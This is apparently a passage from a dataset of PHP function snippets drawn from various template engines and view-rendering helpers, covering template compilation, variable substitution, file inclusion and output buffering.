'PHP')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$parse_content = true;\n\t\t\t\t\t$tag_blocks[0][$loop] = ' ?>';\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'INCLUDE':\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_include($tag_blocks[2][$loop]);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DISPLAY_HEADER':\n\t\t\t\t\t$tag_blocks[0][$loop] = \"<?php echo \\$_CLASS['core_display']->display_header(); ?>\";\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DISPLAY_FOOTER':\n\t\t\t\t\t$tag_blocks[0][$loop] = \"<?php echo \\$_CLASS['core_display']->display_footer(); ?>\";\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'IGNORE':\n\t\t\t\t\t$compile = false;\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DEFINE':\r\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_define($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'AREA':\r\n\t\t\t\t\t//$tag_blocks[0][$loop] = $this->_compile_tag_area($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\t//$tag_blocks[0][$loop] = '<!-- '.$tag_blocks[1][$loop].' '.$tag_blocks[2][$loop].' -->';\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\n\n\t\t$this->_compiled_code = '';\n\t\t$size = count($content_blocks);\n\n\t\tfor ($loop = 0; $loop < $size; $loop++)\n\t\t{\r\n\t\t\t$this->_compiled_code .= $content_blocks[$loop] . (isset($tag_blocks[0][$loop]) ? $tag_blocks[0][$loop] : '');\r\n\t\t}\n\n\t\treturn true;\n }", "function _compile_text($code, $use_isset)\n\t{\n\t\tif(strlen($code) < 3)\n\t\t{\n\t\t\treturn $code;\n\t\t}\n\t\t// change template varrefs into PHP varrefs\n\t\t// This one will handle varrefs WITH namespaces\n\t\t$varrefs = array();\n\t\tpreg_match_all('#\\{(([a-z0-9\\-_]+?\\.)+?)([a-z0-9\\-_]+?)\\}#is', $code, $varrefs);\n\t\t$varcount = sizeof($varrefs[1]);\n\t\t$search = array();\n\t\t$replace = array();\n\t\tfor ($i = 0; $i < $varcount; $i++)\n\t\t{\n\t\t\t$namespace = $varrefs[1][$i];\n\t\t\t$varname = $varrefs[3][$i];\n\t\t\t$new = $this->generate_block_varref($namespace, $varname, $use_isset);\n\t\t\t$search[] = $varrefs[0][$i];\n\t\t\t$replace[] = $new;\n\t\t}\n\t\tif(sizeof($search) > 0)\n\t\t{\n\t\t\t$code = str_replace($search, $replace, $code);\n\t\t}\n\t\t// This will handle the remaining root-level varrefs\n\t\t$code = preg_replace('#\\{([a-z0-9\\-_]*?)\\}#is', '<'.'?php echo isset($this->vars[\\'\\1\\']) ? $this->vars[\\'\\1\\'] : $this->lang(\\'\\1\\'); ?'.'>', $code);\n\t\t$code = preg_replace('#\\{\\$([a-z0-9\\-_]*?)\\}#is', '<'.'?php echo isset($this->_tpldata[\\'DEFINE\\'][\\'.\\'][\\'\\\\1\\']) ? $this->_tpldata[\\'DEFINE\\'][\\'.\\'][\\'\\\\1\\'] : \\'\\'; ?'.'>', $code);\n\t\treturn $code;\n\t}", "protected function _injectTplVariable()\r\n {\r\n $oConfig = oxRegistry::getConfig();\r\n $sTplVariableName = $oConfig->getConfigParam('sTplVariable');\r\n if ($sTplVariableName) {\r\n $oConfig->getActiveView()->addTplParam($sTplVariableName, $this->getToxid());\r\n }\r\n }", "function prepare_vars_for_template_usage()\n {\n }", "function loadfile($handle)\n\t{\n\t\tif (isset($this->uncompiled_code[$handle]) && !empty($this->uncompiled_code[$handle]))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\t// If we don't have a file assigned to this handle, die.\n\t\tif (!isset($this->files[$handle]))\n\t\t{\n\t\t\tdie(\"Template->loadfile(): No file specified for handle $handle\");\n\t\t}\n\n\t\t$filename = $this->files[$handle];\n\n\t\t$str = implode(\"\", @file($filename));\n\t\tif (empty($str))\n\t\t{\n\t\t\tdie(\"Template->loadfile(): File $filename for handle $handle is empty\");\n\t\t}\n\n\t\t$this->uncompiled_code[$handle] = $str;\n\n\t\treturn true;\n\t}", "function yy_r104()\n {\n $this->prefix_number ++;\n $code = new Smarty_Compiler_Code();\n $code->iniTagCode($this->compiler);\n $code->php(\"ob_start();\")->newline();\n $code->mergeCode($this->yystack[$this->yyidx + 0]->minor);\n $code->php(\"\\$_tmp{$this->prefix_number} = ob_get_clean();\")->newline();\n $this->compiler->prefix_code[] = $code;\n $this->_retvalue = '$_tmp' . $this->prefix_number;\n }", "function tpl_load ($path, array $content, array $data) {\n \n // set up path\n $file = DIR_TPL . \"/$path.php\";\n \n if (!is_file($file)) {\n trigger_error(\"Unknown template '$path'!\");\n }\n\n // create helpers\n $cKey=function($k){echo tpl_key($k);};\n $cVal=tpl_create_content_closure($content);\n $cOut=tpl_create_content_closure($content, /*output*/true);\n \n // create scoped varibles \n extract($data);\n\n // process template\n ob_start();\n include $file;\n $output = ob_get_contents();\n ob_end_clean();\n \n // clean up\n unset($cOut, $cVal, $cKey);\n \n foreach ($data as $_k => $_v) {\n unset($$_k);\n }\n \n // done\n return $output;\n\n }", "function createXTemplate() {\n if(!isset($this->xTemplate)) {\n if(isset($this->xTemplatePath)) {\n\n $this->xTemplate = new XTemplate($this->xTemplatePath);\n $this->xTemplate->assign(\"APP\", $this->local_app_strings);\n if(isset($this->local_mod_strings))$this->xTemplate->assign(\"MOD\", $this->local_mod_strings);\n $this->xTemplate->assign(\"THEME\", $this->local_theme);\n $this->xTemplate->assign(\"IMAGE_PATH\", $this->local_image_path);\n $this->xTemplate->assign(\"MODULE_NAME\", $this->local_current_module);\n } else {\n $GLOBALS['log']->error(\"NO XTEMPLATEPATH DEFINED CANNOT CREATE XTEMPLATE\");\n }\n }\n}", "function yy_r172()\n {\n if (empty($this->db_quote_code_buffer)) {\n $this->db_quote_code_buffer = \"ob_start();\\n\";\n }\n $this->db_quote_code_buffer .= $this->yystack[$this->yyidx + - 1]->minor->buffer;\n if ($this->block_nesting_level == count($this->compiler->_tag_stack)) {\n $this->prefix_number ++;\n $code = new Smarty_Compiler_Code();\n $code->iniTagCode($this->compiler);\n $code->formatPHP($this->db_quote_code_buffer . ' $_tmp' . $this->prefix_number . '=ob_get_clean();')->newline();\n $this->compiler->prefix_code[] = $code;\n $this->db_quote_code_buffer = '';\n $this->_retvalue = '$_tmp' . $this->prefix_number;\n } else {\n $this->_retvalue = false;\n }\n\n }", "function generateTemplateVariableHTML($rec,$cntr) {\n global $_TABLES,$_CONF;\n\n $p = new Template($_CONF['path_layout'] . 'nexflow/admin');\n $p->set_file ('variables','template_variables.thtml');\n $p->set_file ('variable_rec','template_variable_record.thtml');\n\n $p->set_var('template_id',$rec);\n $p->set_var('cntr',$cntr);\n\n $sql = \"SELECT * FROM {$_TABLES['nftemplatevariables']} WHERE nf_templateID='{$rec}' ORDER BY id\";\n $query = DB_Query($sql);\n $numrows = DB_numrows($query);\n if ($numrows > 0) {\n $j=1;\n $p->set_var('show_vars','');\n $p->set_var('vdivid','');\n\n while ( $A = DB_fetchArray($query) ) {\n $edit_link = \"[&nbsp;<a href=\\\"#\\\" onClick='ajaxUpdateTemplateVar(\\\"edit\\\",{$rec},{$cntr},{$j});'\\\">Edit</a>&nbsp;]\";\n $del_link = \"[&nbsp;<a href=\\\"#\\\" onClick='ajaxUpdateTemplateVar(\\\"delete\\\",{$rec},{$cntr},{$j});'\\\">Delete</a>&nbsp;]\";\n $p->set_var('variable_name',$A['variableName']);\n $p->set_var('variable_value',$A['variableValue']);\n $p->set_var('var_id',$j);\n $p->set_var('edit_link',$edit_link);\n $p->set_var('delete_link',$del_link);\n if ($j == 1) {\n $p->parse('template_variable_records','variable_rec');\n } else {\n $p->parse('template_variable_records','variable_rec',true);\n }\n $j++;\n }\n } else {\n $p->set_var('show_vars','none');\n $p->set_var('vdivid',\"vars{$cntr}\");\n $p->set_var('template_variable_records','');\n }\n $p->parse ('output', 'variables');\n $html = $p->finish ($p->get_var('output'));\n $html = htmlentities($html);\n\n return $html;\n}", "function _varname($varname) {\n\t\treturn \"{\".$varname.\"}\";\n\t}", "function ahr_render_tpl( $path, $data = array() ) {\r\n \r\n ob_start();\r\n include( $path );\r\n $output = ob_get_clean();\r\n echo $output;\r\n \r\n}", "private function include_tpl($tpl_page){\r\n\t\r\n\t\tprint $this->show($tpl_page);\r\n\t}", "private function initVars()\n {\n // fetch the current id_node. If no node the script assums that\n // we are at the top level with id_parent 0\n if( !isset($_REQUEST['id_node']) || preg_match(\"/[^0-9]+/\",$_REQUEST['id_node']) ) \n {\n $this->tplVar['id_node'] = 0;\n $this->current_id_node = 0; \n }\n else\n {\n $this->tplVar['id_node'] = (int)$_REQUEST['id_node'];\n $this->current_id_node = (int)$_REQUEST['id_node']; \n } \n\n $this->tplVar['lock_text'] = 'unlock';\n \n // template variables\n //\n // node tree data\n $this->tplVar['tree'] = array();\n // data of the current node\n $this->tplVar['node'] = array();\n // data of the branch nodes\n $this->tplVar['branch'] = array(); \n // link data\n $this->tplVar['link'] = array();\n \n // errors\n $this->tplVar['error'] = array(); \n \n // use keywords or not\n $this->tplVar['use_keywords'] = $this->config['link']['use_keywords']; \n\n if(isset($_REQUEST['disableMainMenu']))\n {\n $this->tplVar['disableMainMenu'] = \"1\"; \n }\n else\n {\n $this->tplVar['disableMainMenu'] = FALSE; \n }\n \n // we need the url vars to open this page by the keyword map window\n if($this->config['link']['use_keywords'] == 1)\n {\n $this->tplVar['opener_url_vars'] = base64_encode('&view=editLink&id_link='.(int)$_REQUEST['id_link'].'&id_node='.$this->current_id_node.'&disableMainMenu=1');\n } \n }", "function set_var($name, $value){ // set the template variable\n\tif (func_num_args()> 2){\n\t\tif (!$this->in_vars($name)) $this->vars[$name] = array();\n\t\t$this->vars[$name][func_get_arg(2)] = $value;\n\t} else $this->vars[$name] = $value;\n}", "public function set(mixed $varName, mixed $value): void\n {\n if (empty($varName)) {\n throw new Exception('varName cannot be empty');\n }\n\n if ($varName === '_serialize') {\n $type = 'json';\n $serializer = SerializerBuilder::create()->build();\n $content = $serializer->serialize($value, $type);\n echo $content;\n exit;\n }\n if (!is_array($varName)) {\n $this->tplData[$varName] = $value;\n } else {\n $this->tplData = array_merge($this->tplData, $varName);\n }\n }", "function xTemplateAssign($name, $value) {\n\n if(!isset($this->xTemplate)) {\n $this->createXTemplate();\n }\n $this->xTemplate->assign($name, $value);\n\n}", "public function replace_structure_variables($template)\n {\n // url, uri, and slug are handled by Structure\n $variables = array(\n // 'structure:page_url_for:',\n // 'structure:page_uri_for:',\n 'structure:page_title_for:',\n // 'structure:page_slug_for:'\n );\n\n $this->tagdata = $template;\n\n foreach ($variables as $var)\n {\n $this->structure_variable = $var;\n\n preg_replace_callback(\"/\".LD. preg_quote($var) .\"(.*?)\".RD.\"/\", array(&$this, '_replace_structure_variables'), $this->tagdata);\n }\n\n return $this->tagdata;\n }", "protected function content_template()\n\t{\n\t\t//\n\t}", "protected function parseVars($template) {\n\t\t$template = preg_replace_callback(\n\t\t\t'/\\{\\$(.*?)\\}/is',\n\t\t\tfunction ($matches) {\n\t\t\t\treturn $this->assignVar($matches[1]);\n\t\t\t},\n\t\t\t$template\n\t\t); // {$var}\n\t\treturn $template;\n\t}", "protected function _run()\n {\n $this->strictVars(true);\n\n //assign variables to the template engine\n $vars = get_object_vars($this);\n foreach ($vars as $key => $value) {\n if ('_' != substr($key, 0, 1)) {\n $this->_smarty->assign($key, $value);\n }\n }\n\n //why 'this'?\n //to emulate standard zend view functionality\n //doesn't mess up smarty in any way\n $this->_smarty->assign_by_ref('this', $this);\n\n //smarty needs a template_dir, and can only use templates,\n //found in that directory, so we have to strip it from the filename\n $file = func_get_arg(0);\n\n echo $this->_smarty->fetch($file);\n //process the template (and filter the output)\n }", "function oz_eval_template ($templatefile) {\r\n\t//Check if template already present in file system and that it's up to date.\r\n\t//If it is, then reuse it using include.\r\n\t$src = file_get_contents($templatefile);\r\n\t$php = '';\r\n\t$i = 0;\r\n\t$n = strlen($src);\r\n\twhile ($i<$n) {\r\n\t\t$i2 = strpos($src,'{{',$i);\r\n\t\tif ($i2===FALSE) {$php .= substr($src,$i,$n-$i);break;}\r\n\t\t$i3 = strpos($src,'}}',$i2+2);\r\n\t\tif ($i3===FALSE) {$php .= substr($src,$i,$n-$i);break;}\r\n\t\tif ($i2>$i) $php.=substr($src,$i,$i2-$i);\r\n\t\t$key = substr($src,$i2+2,$i3-$i2-2);\r\n\t\t$php.='<?php echo oz_text(\\''.$key.'\\'); ?>';\r\n\t\t$i = $i3+2;\r\n\t}\r\n\treturn eval(\" \\r\\n?>\".$php.\"<?php \\r\\n\");\r\n}", "function _template($data=NULL,$templatename=NULL)\n {\n $header = ($this->tank_auth->get_user_id()) ? 'header-2':'header';\n $data['template'] = $templatename;\n\t $data['header'] = 'includes/'.$header; \n $this->load->view('includes/template',$data); \n }", "function xh_templateMapping($name)\r\n\t{\r\n\t}", "protected function _processTpl() {\n $sResult = '';\n if (file_exists($this->_sTplName)) {\n ob_start();\n require_once $this->_sTplName;\n $sResult = ob_get_clean();\n }\n\n return $sResult;\n }", "function compile2($code, $handle, $cache_file)\n\t{\n\t\t$code = $this->compile_code('', $code, XS_USE_ISSET);\n\t\tif($cache_file && !empty($this->use_cache) && !empty($this->auto_compile))\n\t\t{\n\t\t\t$res = $this->write_cache($cache_file, $code);\n\t\t\tif($handle && $res)\n\t\t\t{\n\t\t\t\t$this->files_cache[$handle] = $cache_file;\n\t\t\t}\n\t\t}\n\t\t$code = '?' . '>' . $code . '<' . '?php' . \"\\n\";\n\t\treturn $code;\n\t}", "function tpl_include ($path, \n array $content = array(), array $data = array()) {\n\n echo tpl_load($path, $content, $data);\n\n }", "function care_template_include( $templatepath ) {\n\t$loc = __FUNCTION__;\n\terror_log( \"$loc-->template path= $templatepath\" );\n\t$GLOBALS['care_current_theme_template'] = basename( $templatepath );\n return $templatepath;\n}", "function get_template_part_pass_vars($slug, $vars = array()) {\n // Converts the $vars into actual variables and makes them available in\n // the scope of the template part\n extract($vars);\n \n // Display the template part\n include(locate_template($slug . '.php'));\n}", "function get_var_from_handle($handle)\n\t{\n\t\tob_start();\n\t\t$this->pparse($handle);\n\t\t$res = ob_get_contents();\n\t\tob_end_clean();\n\t\treturn $res;\n\t}", "protected function content_template() {\n\t}", "public static function add_global_object( $handle, $object_name, $object_value ) {\n\t\twp_localize_script( $handle, $object_name, $object_value );\n\t}", "function latto_menu_tree__menu_block__1($vars) { \n return '<ul class=\"main-menu nav nav-inline\">' . $vars['tree'] . '</ul>';\n}", "function et_extra_builder_modules_script_handle( $handle ) {\n\treturn et_load_unminified_scripts() ? $handle : 'extra-scripts';\n}", "protected function compile()\n\t{\n\t\t$lexer = new Lexer($this->template->getEnvironment());\n\t\t$stream = $lexer->tokenize(file_get_contents($this->filename), basename($this->filename));\n\n\t\t// unique class based on the filename\n\t\t// @todo fix problem with '-' in classes\n\t\t$class = $this->template->getEnvironment()->getCacheFilename($this->filename);\n\t\t$class = 'S' . substr($class, 0, -8) . '_Template';\n\n\t\t// writer object which contains the parsed PHP code\n\t\t$writer = new Writer();\n\t\t$writer->write(\"<?php\\n\");\n\t\t$writer->write(\"\\n\");\n\t\t$writer->write('namespace Spoon\\Template;' . \"\\n\");\n\t\t$writer->write(\"\\n\");\n\t\t$writer->write('/* ' . $this->filename . ' */' . \"\\n\");\n\t\t$writer->write(\"class $class extends Renderer\\n\");\n\t\t$writer->write(\"{\\n\");\n\t\t$writer->indent();\n\t\t$writer->write('protected function display(array $context)' . \"\\n\");\n\t\t$writer->write(\"{\\n\");\n\t\t$writer->indent();\n\n\t\t$tags = $this->template->getEnvironment()->getTags();\n\n\t\t$token = $stream->getCurrent();\n\t\twhile(!$stream->isEof())\n\t\t{\n\t\t\tswitch($token->getType())\n\t\t\t{\n\t\t\t\tcase Token::TEXT:\n\t\t\t\t\t$text = new TextNode($stream, $this->template->getEnvironment());\n\t\t\t\t\t$text->compile($writer);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase Token::VAR_START:\n\t\t\t\t\t$stream->next();\n\t\t\t\t\t$variable = new VariableNode($stream, $this->template->getEnvironment());\n\t\t\t\t\t$variable->compile($writer);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase Token::BLOCK_START:\n\t\t\t\t\t$token = $stream->next();\n\n\t\t\t\t\t// validate tag existence\n\t\t\t\t\tif(!isset($tags[$token->getValue()]))\n\t\t\t\t\t{\n\t\t\t\t\t\tthrow new SyntaxError(\n\t\t\t\t\t\t\tsprintf('There is no such template tag \"%s\"', $token->getValue()),\n\t\t\t\t\t\t\t$token->getLine(),\n\t\t\t\t\t\t\t$this->filename\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\n\t\t\t\t\t$node = new $tags[$token->getValue()]($stream, $this->template->getEnvironment());\n\t\t\t\t\t$node->compile($writer);\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif($token->getType() !== Token::EOF)\n\t\t\t{\n\t\t\t\t$token = $stream->next();\n\t\t\t}\n\n\t\t\telse break;\n\t\t}\n\n\t\t$writer->outdent();\n\t\t$writer->write(\"}\\n\");\n\t\t$writer->outdent();\n\t\t$writer->write(\"}\\n\");\n\t\treturn $writer->getSource();\n\t}", "function pparse($handle)\n\t{\n\t\tglobal $config;\n\n\t\t// Mighty Gorgon - Extra Debug - BEGIN\n\t\tif (defined('DEBUG_EXTRA') && DEBUG_EXTRA && !empty($_REQUEST['explain']))\n\t\t{\n\t\t\tglobal $user, $db;\n\t\t\tif (($user->data['user_level'] == ADMIN) && method_exists($db, 'sql_report'))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\t// Mighty Gorgon - Extra Debug - END\n\n\t\tif (!defined('CSS_JS_PARSED'))\n\t\t{\n\t\t\t$this->add_css_js();\n\t\t}\n\n\t\t// parsing header if there is one\n\t\tif($this->preparse || $this->postparse)\n\t\t{\n\t\t\t$preparse = $this->preparse;\n\t\t\t$postparse = $this->postparse;\n\t\t\t$this->preparse = '';\n\t\t\t$this->postparse = '';\n\t\t\tif($preparse)\n\t\t\t{\n\t\t\t\t$this->pparse($preparse);\n\t\t\t}\n\t\t\tif($postparse)\n\t\t\t{\n\t\t\t\t$str = $handle;\n\t\t\t\t$handle = $postparse;\n\t\t\t\t$this->pparse($str);\n\t\t\t}\n\t\t}\n\n\t\t// checking if handle exists\n\t\tif (empty($this->files[$handle]) && empty($this->files_cache[$handle]))\n\t\t{\n\t\t\tif(isset($this->files[$handle]) && ($this->files[$handle] === false))\n\t\t\t{\n\t\t\t\t// skip file\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tdie(\"Template->loadfile(): No files found for handle $handle\");\n\t\t}\n\t\t$this->xs_startup();\n\t\t$force_recompile = empty($this->uncompiled_code[$handle]) ? false : true;\n\n\t\t// checking if php file exists.\n\t\tif (!empty($this->files_cache[$handle]) && !$force_recompile)\n\t\t{\n\t\t\t// php file exists - running it instead of tpl\n\t\t\t$this->execute($this->files_cache[$handle], '', $handle);\n\t\t\treturn true;\n\t\t}\n\n\t\tif (!$this->loadfile($handle))\n\t\t{\n\t\t\tdie(\"Template->pparse(): Couldn't load template file for handle $handle\");\n\t\t}\n\n\t\t// actually compile the template now.\n\t\tif (empty($this->compiled_code[$handle]))\n\t\t{\n\t\t\t// Actually compile the code now.\n\t\t\tif(!empty($this->files_cache2[$handle]) && empty($this->files_cache[$handle]) && !$force_recompile)\n\t\t\t{\n\t\t\t\t$this->compiled_code[$handle] = $this->compile2($this->uncompiled_code[$handle], $handle, $this->files_cache2[$handle]);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->compiled_code[$handle] = $this->compile2($this->uncompiled_code[$handle], '', '');\n\t\t\t}\n\t\t}\n\n\t\t// Run the compiled code.\n\t\tif (empty($this->files_cache[$handle]) || $force_recompile)\n\t\t{\n\t\t\t$this->execute('', $this->compiled_code[$handle], $handle);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->execute($this->files_cache[$handle], '', $handle);\n\t\t}\n\t\treturn true;\n\t}", "function pushLayout($cont)\n{\n require_once(\"_tmp_header.php\");\n echo $cont;\n require_once(\"_tmp_footer.php\");\n}", "public function render($page)\n {\n $template = $this->readTemplate($page);\n $declarations = $this->findAllDeclarations($page->configuration, $template);\n $tokens = $page->getReplaceTokens();\n\n for ($i = 0; $i < count($declarations[0]); $i++) {\n $full_variable_name = $declarations[0][$i];\n $name = $declarations[1][$i];\n\n if (array_key_exists($name, $tokens)) {\n // Replace the variable with it's value if it's declared\n $template = str_replace($full_variable_name, $tokens[$name], $template);\n } elseif ($page->configuration->unset_variables_disappear) {\n // Replace the variable with an empty string if it does not exist.\n $template = str_replace($full_variable_name, \"\", $template);\n }\n }\n\n // Return the processed string.\n return $template;\n }", "public function persistTemplateVar($name, $value)\n {\n $this->persistedVars[$name] = $value;\n }", "function print_html()\n{\n global $page_script_tpl;\n\n include($page_script_tpl);\n}", "protected function compile(): void\n {\n if (System::getContainer()->get('contao.routing.scope_matcher')->isBackendRequest(System::getContainer()->get('request_stack')->getCurrentRequest() ?? Request::create(''))) {\n $this->strTemplate = 'be_wildcard';\n $this->Template = new BackendTemplate($this->strTemplate);\n }\n\n $this->Template->tabsElement = $this->tabs_element;\n }", "function _variableHandler($data)\r\n {\r\n if (preg_match('/\\$(\\w+)/', $data, $matches)) {\r\n return $GLOBALS[$matches[1]];\r\n } elseif (defined($data)) {\r\n return constant($data);\r\n } else {\r\n return '{'.$data.'}';\r\n }\r\n }", "function abp01_wrapper_process_script($filePath) {\n $bom = pack('H*','EFBBBF');\n \n $contents = @file_get_contents($filePath);\n $contents = trim(preg_replace(\"/^$bom/\", '', $contents));\n\n return (\n '(function (L) {' . PHP_EOL .\n $contents . PHP_EOL .\n '})(window.' . ABP01_WRAPPED_LEAFLET_CONTEXT . ');'\n );\n}", "function output() {\r\n\t\t\tforeach ($this->vars as $var =>$val)\r\n\t\t\t\t$$var = $val;\r\n\t\t\tif($this->parent_view)\r\n\t\t\t\tforeach ($this->parent_view->vars as $var =>$val)\r\n\t\t\t\t\t$$var = $val; // TODO: Check extract() for an alternative method\r\n\t\t\t\r\n\t\t\t$path = Kennel::cascade(\"{$this->view}\", 'views');\r\n\t\t\tif (!$path) return debug::error(\"View <strong>{$this->view}</strong> not found.\");\r\n\t\t\t\r\n\t\t\t//begin intercepting the output buffer\r\n\t\t\tob_start();\r\n\t\t\t\r\n\t\t\tif($path) require($path);\r\n\t\t\t\r\n\t\t\t//return the output and close the buffer\r\n\t\t\treturn ob_get_clean();\r\n\t\t\t\r\n\t\t\t//unset all template variables\r\n\t\t\tforeach ($this->vars as $var =>$val) {\r\n\t\t\t\tunset($$var);\r\n\t\t\t}\r\n\t\t}", "function _phptemplate_variables($hook, $vars) {\n if ($hook == 'page') {\n\n if ($secondary = menu_secondary_local_tasks()) {\n $output = '<span class=\"clear\"></span>';\n $output .= \"<ul class=\\\"tabs secondary\\\">\\n\". $secondary .\"</ul>\\n\";\n $vars['tabs2'] = $output;\n }\n\n // Hook into color.module\n if (module_exists('color')) {\n _color_page_alter($vars);\n }\n return $vars;\n }\n return array();\n}", "public function processTemplate($template = '') {\n\t\tif(is_object($this->registry->get('config')) && $this->registry->get('config')->get('embed_mode') == true ){\n\t\t \t//get template if it was set earlier\n\t\t\tif (empty($template)) {\n\t\t\t\t$template = $this->view->getTemplate();\n\t\t\t}\n\t\t\t//only substitute the template for page templates\n\t\t\tif(substr($template, 0, 6) == 'pages/' && substr($template, 0, 6) != 'embed/'){\n\t\t \t//load special headers for embed as no page/layout needed\n\t \t\t$this->addChild('responses/embed/head', 'head');\n\t \t$this->addChild('responses/embed/footer', 'footer');\n\t \t$template = preg_replace('/pages\\//', 'embed/', $template);\t\t\t\n\t\t\t}\n\t\t}\n\t\n\t\tif (!empty($template)) {\n\t\t\t$this->view->setTemplate($template);\n\t\t}\n\t\t$this->view->assign('block_details',$this->block_details);\n\t\t$this->view->assign(\"children_blocks\", $this->getChildrenBlocks());\n\t\t$this->view->enableOutput();\n\t}", "function _set( $varname, $value, $scope='' ){\n if( $scope=='global' ){\n $this->ctx[0]['_scope_'][$varname] = $value;\n return;\n }\n\n if( $scope=='parent' ){\n for( $x=count($this->ctx)-1; $x>=0; $x-- ){\n if( isset($this->ctx[$x]['_scope_']) && isset($this->ctx[$x]['_scope_'][$varname]) ){\n $this->ctx[$x]['_scope_'][$varname] = $value;\n return;\n }\n }\n }\n\n for( $x=count($this->ctx)-1; $x>=0; $x-- ){\n if( isset($this->ctx[$x]['_scope_']) ){\n $this->ctx[$x]['_scope_'][$varname] = $value;\n return;\n }\n }\n\n }", "function pre_tidy_ASP () {\r\n\t\t// document object could properly be created then somehow revert the ASP to its preprocessed state.\r\n\t\t// also: there could be includes with includes in them so we must process until no chances are made\r\n\t\t// but since we need to remove these afterwards; we need some way to mark the level of the include so as to\r\n\t\t// be able to match its closing and ending tags without using the DOM (since we cannot save the DOM after \r\n\t\t// unincluding some code since it may be necessary for the DOM.\r\n\t\t$ASP_include_statements = array(array(-1),-1);\r\n\t\t$count_of_level_of_include = 1;\r\n\t\tpreg_match_all('/<!--#include virtual=\"([^\"]*)\" -->/is', $this->code, $ASP_include_statements);\r\n\t\tforeach($ASP_include_statements[0] as $index => $ASP_include_statement) {\r\n\t\t\t$this->code = str_replace($ASP_include_statements[0][$index], '<!--ASPInclude' . $count_of_level_of_include . 'Begin-->\r\n' . html_entity_decode(file_get_contents(substr($ASP_include_statements[1][$index], 1))) . '<!--ASPInclude' . $count_of_level_of_include . 'End-->\r\n', $this->code);\r\n\t\t}\r\n\t\t$this->code = str_replace('<%', '<!--9o9ASPopen9o9', $this->code);\r\n\t\t$this->code = str_replace('%>', '9o9ASPclose9o9-->', $this->code);\r\n\t\t$count_of_level_of_include++;\r\n\t\treturn true;\t\t\r\n\t}", "function render($filename, $data = null)\n{\n if ($data) {\n foreach($data as $key => $value) {\n $$key = $value;\n }\n }\n\n require('templates\\header.php');\n require($filename . '.php');\n require('templates\\footer.php');\n\n die();\n}", "function getEditorTemplate($variables){\r\n \r\n if(!isset($variables[\"pxeditid\"])){\r\n $variables[\"pxeditid\"] = 'demo';\r\n }\r\n \r\n \\ob_start();\r\n while(list($key, $val) = each($variables)){\r\n $$key = $val;\r\n }\r\n \r\n include __DIR__ . \"/../../../template/editor.tpl.php\";\r\n $html = \\ob_get_clean();\r\n $html = preg_replace('~>\\s+<~', '><', $html);\r\n\r\n return $html;\r\n }", "protected function content_template() {}", "protected function content_template() {}", "function render($_contents) {\n \n $_ci_vars = $this->_ci_object_to_array($_contents);\n \n if (is_array($_ci_vars))\n\t\t{\n\t\t\t$this->_ci_cached_vars = array_merge($this->_ci_cached_vars, $_ci_vars);\n\t\t}\n\t\textract($this->_ci_cached_vars);\n\n\t\tob_start();\n\n\t\tif ((bool) @ini_get('short_open_tag') === FALSE AND config_item('rewrite_short_tags') == TRUE)\n\t\t{\n\t\t\techo eval('?>'.preg_replace(\"/;*\\s*\\?>/\", \"; ?>\", str_replace('<?=', '<?php echo ', file_get_contents($this->master))));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tinclude($this->master); // include() vs include_once() allows for multiple views with the same name\n\t\t}\n\n\t\tlog_message('debug', 'File loaded: '.$this->master);\n\n\t\t\n\t\tif (ob_get_level() > $this->_ci_ob_level + 1)\n\t\t{\n\t\t\tob_end_flush();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->CI->output->append_output(ob_get_contents());\n\t\t\t@ob_end_clean();\n\t\t}\n }", "function content_areas($template)\r\n\t{\r\n\t\t$websitepath = $this->website_path;\r\n\t\t$theme = $this->theme;\r\n\t\t$directory = $_SERVER['DOCUMENT_ROOT'].$websitepath.'themes/'.$theme.''.$template;\r\n\r\n\t\tif(file_exists($directory))\r\n\t\t{\r\n\t\t\t$myFile = $directory;\r\n\t\t\t$fh = fopen($myFile, 'r');\r\n\t\t\t$theData = fread($fh, filesize($myFile));\r\n\t\t\tfclose($fh);\r\n\r\n\t\t\t//$theDataArray = explode('$CMS->Content(',$theData);\t\t\r\n\t\t\t$theDataArray = explode('$CMS->Content(',$theData);\t\t\t\r\n\t\t\t\r\n\t\t\t$anum = count($theDataArray);\r\n\t\t\t//echo \"BEFORE LOOP COUNT: $anum<br>\";\r\n\t\t\t$a = 0;\r\n\t\t\t$g = 0;\r\n\t\t\t$i = 0;\r\n\t\t\t$f = 0;\r\n\t\t\t\r\n\t\t\twhile($a<$anum)\r\n\t\t\t{\r\n\t\t\t\t$theContentArray = explode(\");\",$theDataArray[$a]);\r\n\t\t\t\t$bnum = count($theContentArray);\r\n\t\t\t\t//echo \"Loop 1: $a <br />\";\r\n\t\t\t\t//echo \"VARIABLE BEING EXPLODED:<br>{{\".substr($theDataArray[$a],0,200).\"}} <br />\";\r\n\t\t\t\t//echo \"COUNT ARRAY:\".$bnum.\" <br /><br>\";\r\n\t\t\t\t\r\n\t\t\t\tif($bnum >= 2)\r\n\t\t\t\t{\r\n\t\t\t\t\t$theFunctionArray = explode(\",\",$theContentArray[0]);\r\n\t\t\t\t\t$cnum = count($theFunctionArray);\r\n\t\t\t\t\t//echo \"Loop2: $g<br />\";\r\n\t\t\t\t\t//echo \"NEW VARIABLE BEING EXPLODED:<br>\";\r\n\t\t\t\t\t//echo 